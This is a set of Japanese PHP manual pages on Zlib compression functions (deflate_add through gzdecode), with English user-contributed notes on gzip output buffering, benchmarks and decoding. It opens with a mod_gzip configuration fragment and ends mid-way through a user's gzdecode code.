mod_gzip_temp_dir           /tmp
mod_gzip_item_include       file \.html$
mod_gzip_item_include       file \.jsp$
mod_gzip_item_include       file \.php$
mod_gzip_item_include       file \.pl$
mod_gzip_item_include       mime ^text/.*
mod_gzip_item_include       mime ^application/x-httpd-php
mod_gzip_item_include       mime ^httpd/unix-directory$
mod_gzip_item_include       handler ^perl-script$
mod_gzip_item_include       handler ^server-status$
mod_gzip_item_include       handler ^server-info$
mod_gzip_item_exclude       mime ^image/.*
</IfModule>

This will automatically compress all output of your files with the .php extention or the x-httpd-php mime type. Be sure to have dechunk set to Yes.


インクリメンタルにデータを圧縮する

  • ≪ Zlib 関数
  • deflate_init ≫
  • PHP Manual
  • Zlib 関数
  • インクリメンタルにデータを圧縮する

deflate_add

(PHP 7, PHP 8)

deflate_add — インクリメンタルにデータを圧縮する

説明

deflate_add ( DeflateContext $context , string $data , int $flush_mode = ZLIB_SYNC_FLUSH ) : string|false

指定されたコンテクストで、インクリメンタルにデータを圧縮します。

パラメータ

context

deflate_init() で生成したコンテクスト

data

圧縮するデータ

flush_mode

ZLIB_BLOCK, ZLIB_NO_FLUSH, ZLIB_PARTIAL_FLUSH, ZLIB_SYNC_FLUSH (デフォルト), ZLIB_FULL_FLUSH, ZLIB_FINISH のいずれかです。 通常は、圧縮率を最大にするために、 ZLIB_NO_FLUSH を指定するでしょうし、 データの最後のチャンクで終了させるために ZLIB_FINISH を指定するでしょう。 これらの定数の詳細な説明は » zlib manual を参照してください。

返り値

圧縮されたデータのチャンクを返します。 失敗した場合に false を返します

エラー / 例外

不正な引数が与えられた場合、 エラーレベル E_WARNING が生成されます。

変更履歴

バージョン | 説明
8.0.0 | context は、 DeflateContext クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

参考

  • deflate_init() - インクリメンタルな圧縮コンテキストを初期化する

User Contributed Notes

douglasjam at gmail dot com 12-Jul-2018 10:03
Example about to use deflate functions to write a gzip encoded file in chunks.

<?php

$handler = fopen('/tmp/test.csv', 'w');
$deflateContext = deflate_init(ZLIB_ENCODING_GZIP, ['level' => 9]);

$strings = [
    'Hello, how are you?' . PHP_EOL,
    'I am fine thanks' . PHP_EOL,
    'Hello, how are you?' . PHP_EOL,
];

foreach ($strings as $string) {
    fwrite($handler, deflate_add($deflateContext, $string, ZLIB_NO_FLUSH));
}

fwrite($handler, deflate_add($deflateContext, '', ZLIB_FINISH));
fclose($handler);

echo gzdecode(file_get_contents('/tmp/test.csv'));


インクリメンタルな圧縮コンテキストを初期化する

  • ≪ deflate_add
  • gzclose ≫
  • PHP Manual
  • Zlib 関数
  • インクリメンタルな圧縮コンテキストを初期化する

deflate_init

(PHP 7, PHP 8)

deflate_init — インクリメンタルな圧縮コンテキストを初期化する

説明

deflate_init ( int $encoding , array $options = [] ) : DeflateContext|false

指定された encoding を使って インクリメンタルな圧縮コンテキストを初期化します。

window オプションは、 アルゴリズムのウィンドウサイズだけを設定することに注意してください。 これは、同じパラメータが利用するエンコーディングも設定する zlib filter と異なります。 この関数では、エンコーディングは encoding で指定しなければなりません。

制限: GZIP 圧縮されたストリームにヘッダ情報を設定する方法が現状は存在しません。 これは、次のようにして設定されます: GZIP シグネチャ (\x1f\x8B); 圧縮メソッド (\x08 == DEFLATE); 6 個のゼロバイト; 現在のオペレーティングシステム (\x00 = Windows, \x03 = Unix, など)

パラメータ

encoding

定数 ZLIB_ENCODING_* のうちのひとつ

options

以下の要素を含む連想配列:

level

-1 .. 9 までの圧縮レベル。デフォルトは -1 です。

memory

1 .. 9 までの圧縮メモリレベル。デフォルトは8です。

window

8 .. 15 までの zlib の window サイズ(対数)。 デフォルトは 15 です。 zlib 1.2.8 以降では、 window サイズ 8 が ZLIB_ENCODING_RAW や ZLIB_ENCODING_GZIP と一緒に指定された場合、この関数は失敗し、警告が発生します。 同時に、zlib は window サイズを 8 から 9 に変更します。

strategy

ZLIB_FILTERED, ZLIB_HUFFMAN_ONLY, ZLIB_RLE, ZLIB_FIXED, ZLIB_DEFAULT_STRATEGY (デフォルト) のうちのいずれか。

dictionary

あらかじめ設定されたディクショナリの string または strings の array。 (デフォルト: 辞書なし)

返り値

成功した場合、圧縮コンテキストリソース(zlib.deflate) を返します。 失敗した場合に false を返します

エラー / 例外

不正なオプションが options に渡されたり、 コンテキストが作れなかった場合には、 E_WARNING レベルのエラーが発生します。

変更履歴

バージョン | 説明
8.0.0 | 成功時に、この関数は DeflateContext クラスのインスタンスを返すようになりました。 これより前のバージョンでは、resource を返していました。

参考

  • deflate_add() - インクリメンタルにデータを圧縮する
  • inflate_init() - インクリメンタルな解凍コンテキストを初期化する

User Contributed Notes

There are no user contributed notes for this page.


開かれたgzファイルへのポインタを閉じる

  • ≪ deflate_init
  • gzcompress ≫
  • PHP Manual
  • Zlib 関数
  • 開かれたgzファイルへのポインタを閉じる

gzclose

(PHP 4, PHP 5, PHP 7, PHP 8)

gzclose — 開かれたgzファイルへのポインタを閉じる

説明

gzclose ( resource $stream ) : bool

与えられた gz ファイルへのポインタを閉じます。

パラメータ

stream

gzファイルポインタ。有効なファイルポインタであり、かつ、 gzopen() によりオープンできたファイルを指している必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 gzclose() の例

<?php
$gz = gzopen('somefile.gz','w9');
gzputs ($gz, 'I was added to somefile.gz');
gzclose($gz);
?>

参考

  • gzopen() - gz ファイルを開く

User Contributed Notes

There are no user contributed notes for this page.


文字列を圧縮する

  • ≪ gzclose
  • gzdecode ≫
  • PHP Manual
  • Zlib 関数
  • 文字列を圧縮する

gzcompress

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

gzcompress — 文字列を圧縮する

説明

gzcompress ( string $data , int $level = -1 , int $encoding = ZLIB_ENCODING_DEFLATE ) : string|false

この関数は、ZLIB データフォーマットを用いて 与えられた文字列を圧縮します。

ZLIB 圧縮アルゴリズムについての詳細は、 "» ZLIB Compressed Data Format Specification version 3.3" (RFC 1950) を参照ください。

注意:

これは、いくつかのヘッダデータを有する gzip 圧縮と同じでは ありません。 gzip圧縮については、gzencode()を参照ください。

パラメータ

data

圧縮するデータ

level

圧縮レベル。0 で圧縮無し、9 で最大限の圧縮を指定できます。

-1 を指定すると、zlib ライブラリのデフォルトを使います。デフォルトは 6 です。

encoding

定数 ZLIB_ENCODING_* のいずれか。

返り値

圧縮された文字列、もしくはエラーの場合 false 。

例

例1 gzcompress() の例

<?php
$compressed = gzcompress('Compress me', 9);
echo $compressed;
?>

参考

  • gzdeflate() - 文字列を deflate 圧縮する
  • gzinflate() - deflate圧縮された文字列を解凍する
  • gzuncompress() - 圧縮された文字列を解凍する
  • gzencode() - gzip 圧縮された文字列を作成する

User Contributed Notes

detain at interserver dot net 05-Sep-2017 12:16
gzipped strings include header/metadata you can use to determine if a string is gzipped or not , but since gzcompress does not include that I found myself needing a way to determine if a string was compressed or not.      After some research (and then improvements) i came up with this:

/**
 * determines if a string is a gzipped string supporting strings
 * encoded with either gzencode or gzcompress
 *
 * @param string $string the string to check for compression
 * @return bool whether or not the string was compmressed
 */
function is_gzipped($string) {
    return mb_strpos($string, "\x1f\x8b\x08", 'US-ASCII') === 0 && @gzuncompress($string) !== FALSE;
}
stockton at wowway dot com 29-Jun-2013 03:22
After some searching and experimentation I found that output generated with gzcompress() can be uncompressed by the objective c 'zlibInflate' wrapper for 'zlib' as available at http://cocoadev.com/wiki/NSDataCategory but that 'gzdeflate()' cannot. I hope this saves someone else the searching.
Eric 20-Oct-2011 10:10
Did some simple benchmarking of gzcompress() this morning on a lightly-loaded Fedora 12 server with an AMD Phenom II 940 (quad-core) rocking 8 gigs of ram and executing PHP 5.3.2.2 as an Apache module:

Compression benchmark: (level, time, size (%)):
0: 0.000373 - 82.08 kB (100.02%)
1: 0.000914 - 19.61 kB (23.90%)
2: 0.000951 - 18.88 kB (23.01%)
3: 0.000999 - 18.43 kB (22.46%)
4: 0.001498 - 17.65 kB (21.51%)
5: 0.001744 - 17.09 kB (20.82%)
6: 0.002060 - 16.88 kB (20.57%)
7: 0.002233 - 16.85 kB (20.53%)
8: 0.002808 - 16.71 kB (20.36%)
9: 0.002928 - 16.71 kB (20.36%)

The time code evaluates to:
1. Get start microtime
2. Call gzcompress
3. Get end microtime
4. Report average duration of 100 cycles

The 82.08 kB was a copied and pasted string of two actual, PHP-generated pages we use on our intranet. Running some rough calculations, the time it takes to compress the data at level 9 will never be larger than the time it takes to transmit slightly-less compressed data at levels 6 or lower. In other words, in our application, we have no reason not to fully-compress each PHP script's output.
Timo 07-Apr-2009 02:48
With PHP it is quite easy to modify SWF files. The compression algorithm of SWF is Zlib.

SWF default compression level is 6, at least Flash CS2 uses this level. I tested this by uncompressing compressed SWF file and then compressed the contents with levels 0-9. With level 6, the contents of files were identical.

Maybe it can be whatever else, but when trying to compare files at hex level or compare filesizes, it is easier to use the same level.
Samnan 07-Jan-2009 06:34
To properly use gzcompress to send compressed data to browsers that support it (most of modern browsers do, even mobile ones !), use this function (I dont think W3C validator issue mentioned earlier is valid ). use ob_start() at start of your script also

<?php
function print_gzipped_output()
{
    $HTTP_ACCEPT_ENCODING = $_SERVER["HTTP_ACCEPT_ENCODING"];
    if( headers_sent() )
        $encoding = false;
    else if( strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false )
        $encoding = 'x-gzip';
    else if( strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false )
        $encoding = 'gzip';
    else
        $encoding = false;

    if( $encoding )
    {
        $contents = ob_get_clean();
        $_temp1 = strlen($contents);
        if ($_temp1 < 2048)    // no need to waste resources in compressing very little data
            print($contents);
        else
        {
            header('Content-Encoding: '.$encoding);
            print("\x1f\x8b\x08\x00\x00\x00\x00\x00");
            $contents = gzcompress($contents, 9);
            $contents = substr($contents, 0, $_temp1);
            print($contents);
        }
    }
    else
        ob_end_flush();
}
?>
plasma 06-Sep-2008 10:41
Here is a benchmark comparing strengths of bzip and gzip compression:

gz[0] - 1.647ms - 189058 Byte (100%)
gz[1] - 3.333ms - 44572 Byte (23.58%)
gz[2] - 3.519ms - 42685 Byte (22.58%)
gz[3] - 4.713ms - 40840 Byte (21.6%)
gz[4] - 5.274ms - 39111 Byte (20.69%)
gz[5] - 6.526ms - 37039 Byte (19.59%)
gz[6] - 8.036ms - 36206 Byte (19.15%)
gz[7] - 9.098ms - 35940 Byte (19.01%)
gz[8] - 12.87ms - 35713 Byte (18.89%)
gz[9] - 14.319ms - 35707 Byte (18.89%)

bz[1] - 40.282ms - 32247 Byte (17.06%)
bz[2] - 43.716ms - 29690 Byte (15.7%)
bz[3] - 43.765ms - 29690 Byte (15.7%)
bz[4] - 44.213ms - 29690 Byte (15.7%)
bz[5] - 43.704ms - 29690 Byte (15.7%)
bz[6] - 43.814ms - 29690 Byte (15.7%)
bz[7] - 43.934ms - 29690 Byte (15.7%)
bz[8] - 43.725ms - 29690 Byte (15.7%)
bz[9] - 45.129ms - 29690 Byte (15.7%)
prgTW at poczta dot onet dot pl 15-Feb-2006 05:57
I don't know why, but W3C Validator can't validate pages that are GZIP compressed (with functions posted below: gzcompress, pack etc.; not by ob_gzhandler).

Because of this, I use similar code to this below:

<?php
if( strstr($_SERVER['HTTP_USER_AGENT'], 'W3C_Validator')!==false || strstr($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')===false ){
  // do not compress
}else{
  // can send GZIP compressed data
}
?>

This code also checks if user agent is W3C Validator. If it is NOT W3C Validator and user acceptes GZIP encoded data then we can compress the page, in other case if it is W3C Validator or user agent does not accept GZIP enoded data we can't compress the page, 'cause user agent couldn't properly handle it.

Sorry for my bad English
Chris Watt 11-Oct-2005 06:26
Contrary to popular opinion the checksum in the last four bytes of output is not "wrong", it's just not very useful: RFC 1950 s8.2 specifies that the "Adler-32" checksum, not CRC32 should be appended to the compressed data and PHP function follows the RFC (if for no other reason because it uses zlib and Mark Adler was one of the authors thereof). In contrast gzip expects a CRC32 (i.e. it doesn't follow that RFC), and treats the Adler-32 checksum as an incorrect CRC32.

AFAICT there is no simple way to compute the CRC32 directly from the Adler32 checksum.

Personally, my solution was to write a short C program that performs a deflate on, and calculates the CRC32 of, stdin while writing the compressed data (with trailing CRC32 instead of Adler32) on stdout. It's an ugly hack, but it does allow me to  serve a ~1GB compressed output with only a single pass over the uncompressed data and without hitting my 8MB memory limit. In contrast, methods using gzcompress() and crc32() would seem to require a theoretical minimum of three passes across the input data (read into memory, compress, calculate CRC) and 2GB of allocated memory to produce a 1GB compressed output... Short of writing crc32() and deflate() functions from scratch, I couldn't find any way of doing this without either storing the whole output in a variable or resorting to a module in another language.
14-Jun-2005 07:39
If no parameter is given, the default level of 6 is used.

benchmarking the speed:
(compression, datasize, compress time)
0: 37440 (0.002 s)
1: 2537 (0.002 s)
2: 2298 (0.003 s)
3: 2199 (0.003 s)
4: 2299 (0.003 s)
5: 1939 (0.004 s)
6: 1789 (0.004 s)
7: 1724 (0.004 s)
8: 1635 (0.005 s)
9: 1635 (0.005 s)

Level 0 = no compression, then level 1-4 are roughly the fastest to compress with reasonable quality. level 5-7 give better compression but take a little longer and 8-9 take nearly double the time to compress but give best results.

So the system default of 6 is actually a good compromise in speed/size. But for very fast compression times, I go with the threshold value of 3.
gaelreth at gmail dot com 03-May-2005 08:27
There is a useful zipfile class at http://www.zend.com/codex.php?id=696&single=1 that allows you to zip many files into one zip file.
dwales at easyetrader dot com 30-Jul-2003 12:48
I find this works well, save the snip below in your php/ directory then edit your prepend.php file and add a require statement that requires the compression.php file below. Once complete watch (tail -f) your php error log to see the results of compression in action.

<?php

// Gzip encode the contents of the output buffer.
function compress_output_option($output)
{
    // Compress the data into a new var.
    $compressed_out = gzencode($output);

    // Don't compress any pages less than 1000 bytes
    // as it's not worth the overhead at either side.
    if(strlen($output) >= 1000)
    {
        error_log('compression.php Gzipd Output'."\n"
                 .'Before compression size '
                 .strlen($output).' bytes'."\n"
                 .' After compression size '
                 .strlen($compressed_out).' bytes');
        // Tell the browser the content is compressed with gzip
        header("Content-Encoding: gzip");
        return $compressed_out;
    }
    else
    {
        // No compression
        error_log('compression.php Standard Output.');
        return $output;
    }
}

// Check if the browser supports gzip encoding, HTTP_ACCEPT_ENCODING
if (strstr($HTTP_SERVER_VARS['HTTP_ACCEPT_ENCODING'], 'gzip'))
{
    // Start output buffering, and register compress_output() (see
    // below)
    ob_start("compress_output_option");

}
?>
devcontact at tech-island dot com 24-Mar-2003 07:45
The method of first reading the source file and then passing its content to the gzip function instead of simply the source and destination filename was a bit confusing for me.

So I have written a simple funtion you can use to compress files in the gzip format (gzip is readable by winzip like .zip files)

function compress($srcName, $dstName)
{
  $fp = fopen($srcName, "r");
  $data = fread ($fp, filesize($srcName));
  fclose($fp);

  $zp = gzopen($dstName, "w9");
  gzwrite($zp, $data);
  gzclose($zp);
}

// Compress a file
compress("/web/myfile.dat", "/web/myfile.gz");
mail at ciruz dot de 11-Mar-2003 12:59
You should use the crc coz' some linux browsers need it. Some browser won't display anything without crc. My code works with these browsers (tested ;))
chris at mad-teaparty dot com 26-Feb-2003 10:58
little correction of the one above:
the crc is not necessarily needed to display the content in browsers, but it's still useful as a checksum. I suggest that most of the browsers don't check it anyway, otherwise they would not display contents with broken checksums.
Scripts seem to be a little bit faster, you may weigh up advantages with disadvantages (e.g. when you use a secure connection).
chris at mad-teaparty dot com 26-Feb-2003 03:26
It seems that you don't have to pack the crc-checksum and the length of the string. The crucial thing is to erase the last 4 bytes of the gzcompressed content. They seem to be redundant in any case. I rewrote the function "gzDocOut" and I think, it is the most efficient and shortest way to encode an output with gzcompress:

function gzDocOut() {

     if ($encoding = checkCanGzip()) {
       $contents = ob_get_contents();
       ob_end_clean();
       header("Content-Encoding: ". $encoding);
       $output = "\x1f\x8b\x08\x00\x00\x00\x00\x00";
       $output .= substr(gzcompress($contents, 2), 0, -4);
       echo $output;
       exit();
     }
     else {
       ob_end_flush();
       exit();
     }

}

Tested with IE5.5, Netscape 7, Mozilla 1.2, Opera 7, Opera 6 as well as Netscape 4.7. I'll test further browsers to be sure...
orlink at hotmail dot com 03-Jun-2002 12:32
I tried sending a pre-compressed javascript with header("Content-Encoding: gzip") to a request from <script type=javascript src="http://...?op=getscript">.

I have found out so far that IE4 does not support external compressed scripts and stylesheets (that is not embedded in the HTML but included with <script ...src=...> and <link src=...>).  With other versions of IE it works on some computers and not on others even if they have exactly the same versions of IE and Windows.   For instance IE 5.0xxxxxx and Windows 98 Buldxxxx.
If anyones knows of at least one configuration of IE and a OS for which it works for SURE let me know.
postmaster at ak-dev dot com 02-Jun-2002 04:57
Second try! In my mind, the following source code is right with 4.1.2 and higher, and seems to be right with other versions... and its works with all browser I tried(NS 4.7x, mozilla 1.00rc3, IE5.5, opera6.01)...
As it is said in documentation of the function gzencode, you have to use this function, if you want to get the right result! gzcompress doesn't create the right stream output for browsers!(It is explained in gzencode documentation: generated headers are not the same!)

The source code:

<?
  function checkCanGzip() {

      global $HTTP_ACCEPT_ENCODING;

      if (headers_sent()) return 0;
      if (strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false) return
"x-gzip";
      if (strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false) return
"gzip";
      return 0;

  }

  function gzDocOut() {

      if ($encoding = checkCanGzip()) {
        $contents = ob_get_contents();
        ob_end_clean();
        header("Content-Encoding: ".$encoding);
//        print("\x1f\x8b\x08\x00\x00\x00\x00\x00");
        $contents = gzencode($contents);
//        $contents = substr($contents, 0, strlen($contents) - 4);
        print($contents);
//        print(pack('V', crc32($contents)));
//        print(pack('V', strlen($contents)));
        exit();
      }
      else {
        ob_end_flush();
        exit();
      }

  }

  ob_start();
  ob_implicit_flush(0);

  print("your stuff...");

  gzDocOut();

?>

You have to note, that gzencode is able to generate deflate compression, but the previous source code, does not implemente it. You just have to read gzencode documentation to find this tip.
function gzencode in php 4.2.0 (and higher) allows to use a compression level, it is not possible in loder versions.

The code which is commented, is wrong source code, used, in the different exemple found on this page!
postmaster at ak-dev dot com 01-Jun-2002 07:42
It seems that you don't need anymore to add the crc and the size at the end of the stream, it works fairly with php4.06! I don't have tried for the moment with highest version than php 4.06.
The source code:

<?
  function checkCanGzip() {

      global $HTTP_ACCEPT_ENCODING;

      if (headers_sent()) return 0;
      if (strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false) return "x-gzip";
      if (strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false) return "gzip";
      return 0;

  }

  function gzDocOut() {

      if ($encoding = checkCanGzip()) {
        $contents = ob_get_contents();
        ob_end_clean();
        header("Content-Encoding: ".$encoding);
        print("\x1f\x8b\x08\x00\x00\x00\x00\x00");
        $size = strlen($contents);
        $contents = gzcompress($contents, 9);
        $contents = substr($contents, 0, $size);
        print($contents);
//        print(pack('V', crc32($contents)));
//        print(pack('V', $size));
        exit();
      }
      else {
        ob_end_flush();
        exit();
      }

  }

  ob_start();
  ob_implicit_flush(0);

  print("your stuff...");

  gzDocOut();

?>

For the  moment, I have only tried on IE5.5, and it works well.
Effectively, with the crc and the size at the end of gile, it doesn't work!
rostor at swzone dot org 18-Sep-2001 05:04
To solve I.E.5.x data compress problem on IIS5, such opening a download dial box or wrong page load, the only way for me was to change the header content type:

<? header("Content-type: gzip");ob_start ("ob_gzhandler");?>

but now all browser that doesn't support gzip don't load the page.
webmaster at mail.bg 01-Aug-2001 03:40
When you compress your data IE (5.x for sure, no idea about Netscape) may mess up the mime headers, so you may e.g. loose your extensions after compressing output. In my case in attachment saving with no compression everything works fine. When I compress output everything seems OK except I loose the file extension (althogh it really is in the headers). This is because IE seems to think your attachment is mimetype gzip, and not what you send in the headers that follow.

In such cases the easiest sollution would be to disable compression (maybe partially with an .htaccess file?).
gvirgo at mithril dot com 01-Jan-2001 11:14
>>Netscape 4 (on all platforms[?]), IE4/IE5 on the Mac do NOT support
>>gz-compression. Email me if you want to know more.

As a matter of fact, Netscape 4.7x on Win32 DOES support gz-compression.  Calling the following script in my auto_prepend directive seems to work fine.  The script is taken from the Output Buffering article on Zend.com (http://www.zend.com/zend/art/buffering.php).  As noted in the article, it only works with PHP 4.0.4 and higher.

<?php

        // function to compress the output buffer in preparation for transmission to client
    function compress_output($output) {

            // compress and return the output buffer
        return gzencode($output);
    }

        // Check if the browser supports gzip encoding, HTTP_ACCEPT_ENCODING
    if (strstr($HTTP_SERVER_VARS['HTTP_ACCEPT_ENCODING'], 'gzip')) {

            // Start output buffering, and register compress_output()
        ob_start("compress_output");

            // Tell the browser the content is compressed with gzip
        header("Content-Encoding: gzip");
    }

?>
fil at rezox dot com 20-Dec-2000 06:15
GZ-compression works perfectly for html content sent to IE5/IE5.5/Netscape6 browsers. I even compress the <script src='javascriptstuff'> javascript code. It speeds throughput immensely: best case so far 160k html file --> 8k gzip sent.

Netscape 4 (on all platforms[?]), IE4/IE5 on the Mac do NOT support gz-compression. Email me if you want to know more.
ck at newsclub dot de 28-Sep-2000 12:25
Ah right, I did not realize it because my browsers (Acorn Browse on RISC OS and Netscape on Windows) don't make problems at all.

Anyway, you can replace your function "gzip_PrintFourChars"
with "echo pack("V",$Crc)".
@boas.anthro.mnsu.edu 26-Sep-2000 11:30
No, it doesn't return gzip compressed data -- specifically, the CRC is messed up.  However, after massaging the output a lot, I have come up with a solution.  I also commented it a lot, pointing out odd things.

<?php
// Start the output buffer
ob_start();
ob_implicit_flush(0);

// Output stuff here...

// Get the contents of the output buffer
$contents = ob_get_contents();
ob_end_clean();

// Tell the browser that they are going to get gzip data
// Of course, you already checked if they support gzip or x-gzip
// and if they support x-gzip, you'd change the header to say
// x-gzip instead, right?
header("Content-Encoding: gzip");

// Display the header of the gzip file
// Thanks ck@medienkombinat.de!
// Only display this once
echo "\x1f\x8b\x08\x00\x00\x00\x00\x00";

// Figure out the size and CRC of the original for later
$Size = strlen($contents);
$Crc = crc32($contents);

// Compress the data
$contents = gzcompress($contents, 9);

// We can't just output it here, since the CRC is messed up.
// If I try to "echo $contents" at this point, the compressed
// data is sent, but not completely.  There are four bytes at
// the end that are a CRC.  Three are sent.  The last one is
// left in limbo.  Also, if we "echo $contents", then the next
// byte we echo will not be sent to the client.  I am not sure
// if this is a bug in 4.0.2 or not, but the best way to avoid
// this is to put the correct CRC at the end of the compressed
// data.  (The one generated by gzcompress looks WAY wrong.)
// This will stop Opera from crashing, gunzip will work, and
// other browsers won't keep loading indefinately.
//
// Strip off the old CRC (it's there, but it won't be displayed
// all the way -- very odd)
$contents = substr($contents, 0, strlen($contents) - 4);

// Show only the compressed data
echo $contents;

// Output the CRC, then the size of the original
gzip_PrintFourChars($Crc);
gzip_PrintFourChars($Size);

// Done.  You can append further data by gzcompressing
// another string and reworking the CRC and Size stuff for
// it too.  Repeat until done.

function gzip_PrintFourChars($Val)
{
    for ($i = 0; $i < 4; $i ++)
    {
        echo chr($Val % 256);
        $Val = floor($Val / 256);
    }
}
?>


gzip 圧縮された文字列をデコードする

  • ≪ gzcompress
  • gzdeflate ≫
  • PHP Manual
  • Zlib 関数
  • gzip 圧縮された文字列をデコードする

gzdecode

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

gzdecode — gzip 圧縮された文字列をデコードする

説明

gzdecode ( string $data , int $max_length = 0 ) : string|false

この関数は、入力された data をデコードしたものを返します。

パラメータ

data

デコードするデータ。これは gzencode() でエンコードされたものです。

max_length

デコードするデータの最大長。

返り値

デコードされた文字列、あるいはエラーが発生した場合に false を返します。

参考

  • gzencode() - gzip 圧縮された文字列を作成する

User Contributed Notes

anonymous at dekho-ji.com 08-Jul-2020 09:32
PROBLEM - gzdecode is returning truncated decoded string, file size of .gz file was 268 KB only

SOLUTION - use GZFILE() function to return the fully decoded string without any truncation

Hope this helps
msegit post pl 12-Jul-2018 08:40
katzlbtjunk (2008-04-30), thanks for code. But remember, .gz file may be series of members (data sets). They should be uncompressed in loop.
Fixed code gzdecodeM() on http://gist.github.com/msegu/de556cdd32eb58430871b06145168024
Addicionally, you can
- get data of gz members in array
- choose members you need to extract
Artem 23-Mar-2017 01:13
This can help to decompress the data from tar archive in certain cases, hope this helps somebody
<?php
$tarName = 'example.ini';

try {
    /** For files with tar.gz extensions **/
    $phar = new \PharData($path, 0, $tarName);
} catch ($e) {
    /** Decode the file first **/
    $decodedFile = file_put_contents($path, gzdecode(file_get_contents($path)));
    /** create PharData object second **/
    $phar = new \PharData($path, 0, $tarName);
}
?>
fabrizio dot rastiello at gmail dot com 07-Feb-2016 08:35
In my case to decode correctly a GZIPOutputStream POST from Android I used
gzinflate( substr($post,10,-8) );
and not
gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL
trevize32 at gmail dot com 14-Aug-2015 05:32
I use the following code:

function &gzdecodedata(&$data) {

    ob_start();

    readgzfile('data://application/gzip;base64,' . base64_encode($data));

    $d = ob_get_clean();

    return $d;
}
Anonymous 18-Jul-2014 05:33
if (!function_exists('gzdecode')) {
    function gzdecode($data)
    {
        return gzinflate(substr($data,10,-8));
    }
}
anonymous at dekho-ji dot com 16-May-2013 11:31
To decode / uncompress the received HTTP POST data in PHP code, request data coming from Java / Android application via HTTP POST GZIP / DEFLATE compressed format

1) Data sent from Java Android app to PHP using DeflaterOutputStream java class and received in PHP as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,2,-4) ) . PHP_EOL  . PHP_EOL;

2) Data sent from Java Android app to PHP using GZIPOutputStream java class and received in PHP code as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL;

From Java Android side (API level 10+), data being sent in DEFLATE compressed format
        String body = "Lorem ipsum shizzle ma nizle";
        URL url = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestProperty("Content-encoding", "deflate");
        conn.setRequestProperty("Content-type", "application/octet-stream");
        DeflaterOutputStream dos = new DeflaterOutputStream(
                conn.getOutputStream());
        dos.write(body.getBytes());
        dos.flush();
        dos.close();
        BufferedReader in = new BufferedReader(new InputStreamReader(
                conn.getInputStream()));
        String decodedString = "";
        while ((decodedString = in.readLine()) != null) {
            Log.e("dump",decodedString);
        }
        in.close();

On PHP side (v 5.3.1), code for decompressing this DEFLATE data will be
    echo substr($HTTP_RAW_POST_DATA,2,-4);

From Java Android side (API level 10+), data being sent in GZIP compressed format

        String body1 = "Lorem ipsum shizzle ma nizle";
        URL url1 = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn1 = url1.openConnection();
        conn1.setDoOutput(true);
        conn1.setRequestProperty("Content-encoding", "gzip");
        conn1.setRequestProperty("Content-type", "application/octet-stream");
        GZIPOutputStream dos1 = new GZIPOutputStream(conn1.getOutputStream());
        dos1.write(body1.getBytes());
        dos1.flush();
        dos1.close();
        BufferedReader in1 = new BufferedReader(new InputStreamReader(
                conn1.getInputStream()));
        String decodedString1 = "";
        while ((decodedString1 = in1.readLine()) != null) {
            Log.e("dump",decodedString1);
        }
        in1.close();

On PHP side (v 5.3.1), code for decompressing this GZIP data will be
    echo substr($HTTP_RAW_POST_DATA,10,-8);

Useful PHP code for printing out compressed data using all available formats.

$data = "Lorem ipsum shizzle ma nizle";
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzcompress($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzdeflate($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_GZIP))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_DEFLATE))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";

Hope this helps. Please ThumbsUp if this saved you a lot of effort and time.
tomas at slax dot org 05-Nov-2011 04:25
I don't have any deep knowledge in compression algorithms and formats, so I have no idea if this works the same on all platforms. But by several experiments on my Linux box I found how to get gzdecoded data without temporary files. Here it is:

<?php
function gzdecode($data)
{
   return gzinflate(substr($data,10,-8));
}
?>

That's it. Simply strip header and footer bytes and you get raw deflated data for inflation.
webmaster at askapache dot com 02-Jul-2008 02:32
I have used this simple function to gzdecode gzipped files downloaded from the web.

<?php

function gzdecode($data){
  $g=tempnam('/tmp','ff');
  @file_put_contents($g,$data);
  ob_start();
  readgzfile($g);
  $d=ob_get_clean();
  return $d;
}

?>
katzlbtjunk at hotmail dot com 02-May-2008 07:15
3 more bugs found and fixed:
1. failed to work when the gz contained a filename - FIXED
2. failed to work on 64-bit architecture (checksum) - FIXED
3. failed to work when the gz contained a comment - cannot verify.
Returns some errors (not all!) and filename.
<?php function gzdecode($data,&$filename='',&$error='',$maxlength=null)
{
    $len = strlen($data);
    if ($len < 18 || strcmp(substr($data,0,2),"\x1f\x8b")) {
        $error = "Not in GZIP format.";
        return null;  // Not GZIP format (See RFC 1952)
    }
    $method = ord(substr($data,2,1));  // Compression method
    $flags  = ord(substr($data,3,1));  // Flags
    if ($flags & 31 != $flags) {
        $error = "Reserved bits not allowed.";
        return null;
    }
    // NOTE: $mtime may be negative (PHP integer limitations)
    $mtime = unpack("V", substr($data,4,4));
    $mtime = $mtime[1];
    $xfl   = substr($data,8,1);
    $os    = substr($data,8,1);
    $headerlen = 10;
    $extralen  = 0;
    $extra     = "";
    if ($flags & 4) {
        // 2-byte length prefixed EXTRA data in header
        if ($len - $headerlen - 2 < 8) {
            return false;  // invalid
        }
        $extralen = unpack("v",substr($data,8,2));
